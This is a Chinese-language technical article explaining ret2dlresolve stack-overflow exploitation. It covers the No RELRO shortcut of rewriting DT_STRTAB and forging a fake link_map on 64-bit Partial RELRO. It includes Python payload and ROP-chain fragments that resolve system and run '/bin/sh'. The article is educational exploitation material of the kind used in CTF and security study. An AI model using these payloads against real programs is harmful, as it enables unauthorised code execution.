当前位置: 首页 > news >正文

当栈溢出遇上No RELRO:一个ret2dlresolve利用的‘捷径’与64位下的‘坑’

深入解析ret2dlresolve攻击:从No RELRO到64位环境下的高级利用技巧

在二进制安全研究领域,ret2dlresolve攻击是一种无需泄露内存地址就能绕过ASLR保护的经典技术。本文将深入探讨这种攻击在不同编译选项下的实现差异,特别是No RELRO与Partial RELRO环境下的关键区别,以及32位与64位架构下的特殊考量。

1. ret2dlresolve攻击的核心原理

动态链接程序在首次调用外部函数时,会通过以下流程完成符号解析:

  1. 程序跳转到PLT表项
  2. PLT表项跳转到GOT表中存储的地址(初始时指向PLT中的下一条指令)
  3. 将reloc_arg(重定位偏移)压栈
  4. 跳转到PLT[0],执行_dl_runtime_resolve(link_map, reloc_arg)

关键数据结构

  • .rel.plt:包含Elf32_Rel结构体数组,每个元素描述一个需要重定位的函数
  • .dynsym:包含Elf32_Sym结构体数组,存储符号信息
  • .dynstr:存储函数名字符串

攻击者通过伪造这些数据结构,可以控制_dl_fixup函数的解析过程,最终实现任意函数调用。

2. No RELRO环境下的简化利用

当程序编译时使用-z norelro选项时,.dynamic节区是可写的,这为攻击者提供了极大的便利:

// .dynamic节区结构示例 Elf32_Dyn dynamic_section[] = { {DT_STRTAB, 0x08048278}, // 字符串表地址 {DT_SYMTAB, 0x080481d8}, // 符号表地址 // 其他动态节区条目... };

No RELRO下的攻击步骤

  1. 修改.dynamic节区中的DT_STRTAB指针,使其指向攻击者控制的缓冲区
  2. 在可控区域构造伪造的字符串表,将目标函数名(如"write")替换为"system"
  3. 直接调用目标函数,触发解析过程
# No RELRO利用示例代码片段 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00system\x00' payload = [ read_plt, # 调用read修改.dynamic pop_ret, # 返回地址 0, # 文件描述符 strtab_addr, # .dynamic中DT_STRTAB的地址 7, # 写入长度 fake_dynstr, # 伪造的字符串表内容 plt0, # 触发解析 reloc_arg, # 重定位参数 cmd_addr # system参数 ]

这种方法的优势在于只需一次内存写操作即可完成攻击,不需要复杂的栈迁移或多阶段ROP链。

3. 32位与64位架构的关键差异

3.1 数据结构差异

32位ELF重定位项

typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;

64位ELF重定位项

typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;

64位架构下增加了r_addend字段,且符号索引的计算方式变为r_info >> 32

3.2 Partial RELRO下的特殊挑战

在64位Partial RELRO环境下,直接移植32位方法会遇到两个关键问题:

  1. st_other检查_dl_fixup会验证符号的st_other字段
  2. 版本号验证:会访问vernum[ELFW(R_SYM)(reloc->r_info)],可能导致非法内存访问

绕过方案

  • 伪造link_map结构,控制l_addr和符号的st_value
  • 确保st_other不为0,跳过版本检查
def forge_linkmap(fake_addr, known_got, offset): # 构造伪造的link_map结构 payload = p64(offset & (2**64-1)) # l_addr payload += p64(0) # l_name payload += p64(fake_addr + 0x18) # DT_JMPREL payload += p64((fake_addr+0x30-offset) & (2**64-1)) # r_offset payload += p64(0x7) # r_info payload += p64(0) # r_addend payload += p64(0) # l_ns payload += p64(0) # payload += p64(known_got - 8) # DT_SYMTAB payload += b'/bin/sh\x00' # 命令字符串 payload = payload.ljust(0x68, b'A') payload += p64(fake_addr) # DT_STRTAB payload += p64(fake_addr + 0x38) # DT_SYMTAB payload = payload.ljust(0xf8, b'A') payload += p64(fake_addr + 8) # DT_JMPREL return payload

4. 高级利用技巧:伪造link_map结构

在64位Partial RELRO环境下,完整的攻击流程如下:

  1. 准备阶段

    • 计算目标函数与已知函数的偏移(如systemwrite
    • 找到可写的内存区域(如.bss段)
  2. 构造伪造结构

    • 伪造link_map结构,控制关键的l_info条目
    • 设置l_addr为函数偏移量
    • DT_SYMTAB指向已知函数的GOT表地址-8
  3. 执行攻击

    • 将伪造的结构写入内存
    • 调用_dl_runtime_resolve,传入伪造的link_map和reloc_arg
# 64位Partial RELRO完整利用示例 l_addr = libc.sym['system'] - libc.sym['write'] fake_linkmap = forge_linkmap(bss_stage, write_got, l_addr) rop_chain = [ pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, # 写入伪造的link_map pop_rdi, bss_stage + 0x48, # /bin/sh地址 plt_load, # 触发解析 bss_stage, # 伪造的link_map 0 # reloc_arg ]

5. 防御措施与绕过思路

现代系统针对ret2dlresolve攻击采取了多种防护措施:

防护措施影响可能的绕过方式
FULL RELRO禁用延迟绑定需寻找其他漏洞
栈保护(Canary)阻止栈溢出结合信息泄露或堆漏洞
ASLR增加预测难度结合信息泄露
现代glibc检查增加伪造难度更精确的结构伪造

在实际漏洞利用中,研究人员还发展出了以下高级技巧:

  • 结合堆漏洞实现内存写操作
  • 使用ROP链实现多阶段攻击
  • 利用其他漏洞泄露关键地址信息

理解ret2dlresolve攻击的底层原理,不仅有助于漏洞利用开发,也能帮助安全人员设计更有效的防护方案。这种攻击技术展现了ELF动态链接机制的灵活性,同时也提醒我们安全边界的重要性。

http://www.jsqmd.com/news/953498/

相关文章:

  • 【扬州黄金回收门店报价盘点】 - 余生黄金回收
  • 开封市2026年最新黄金回收白银回收铂金回收门店实测 五家靠谱店铺排行榜及联系方式电话推荐 - 盛世金银回收
  • Invoke-AtomicRedTeam实战:使用原子测试验证EDR防护效果的完整教程
  • 如何突破AI编程工具的限制:go-cursor-help让Cursor重获新生的故事
  • AI备课、学情诊断、动态分层——3类高复用智能教学工作流,即装即用(附教育部认证工具白名单)
  • 终极英雄联盟工具箱:基于LCU API的完整自动化解决方案
  • ai开发新范式,让快马平台的ai助手帮你优化yolov11模型性能
  • 【包头+正规黄金回收+全区域上门估价变现】 - 余生黄金回收
  • 基于555定时器的LED呼吸灯电路设计与骷髅眼制作教程
  • 昆明市2026年最新黄金回收白银回收铂金回收门店实测 五家靠谱店铺排行榜及联系方式电话推荐 - 盛世金银回收
  • 揭秘gh_mirrors/spi/spider核心功能:5大特性让你的爬虫效率提升300%
  • 哪家环境安全检测产品公司专业?2026年6月推荐TOP5对比案例评测注意事项市场份额 - 品牌推荐
  • 如何用Kronos金融预测模型实现精准市场分析:从入门到精通的完整指南
  • 别再用IMDB练手了!试试这个46分类的新闻数据集,用Keras实战文本分类(附完整代码)
  • 别再死记ResNet了!用PyTorch从零复现DenseNet-121,彻底搞懂‘密集连接’
  • 电线焊接可靠性指南:从交叉焊到绞合焊的强度对比与实操技巧
  • 数据科学家成长瓶颈突破:隐性知识与结构化mentorship实战指南
  • 如何微调POINTS-Seeker:自定义多模态代理搜索模型训练指南
  • MATLAB双目视觉实战包:ORB特征匹配、实时跟踪与深度距离计算全链路代码
  • 【包头+六大黄金回收门店+旧金/投资金条上门变现】 - 余生黄金回收
  • 如何快速掌握COLMAP三维重建:从零基础到专业应用的完整指南
  • Arduino Leonardo实现自定义HID设备:物理按钮切换浏览器标签页
  • 量子测量误差缓解技术:从原理到实践
  • 基于ADE7757A与ESP8266的太阳能发电计量系统全流程设计
  • 2026年世界之极尽在西藏活动深度解析:青少年科普场景参与动力不足与激励效果瓶颈 - 品牌推荐
  • Refactorator插件 vs Xcode原生重构:谁才是Swift代码优化的王者?
  • 从Mesos到K8s:一个微服务开发者的容器编排工具选型心路历程
  • PyTorch频域无监督图像去噪工具包:支持AWGN与SIDD真实噪声,含预训练模型和一键训练脚本
  • 从Python小白到项目老手:用Conda虚拟环境管理你的每一个开发阶段(含环境导出与复现)
  • 从FM收音机到5G:聊聊‘复信号’如何让我们的手机网速翻倍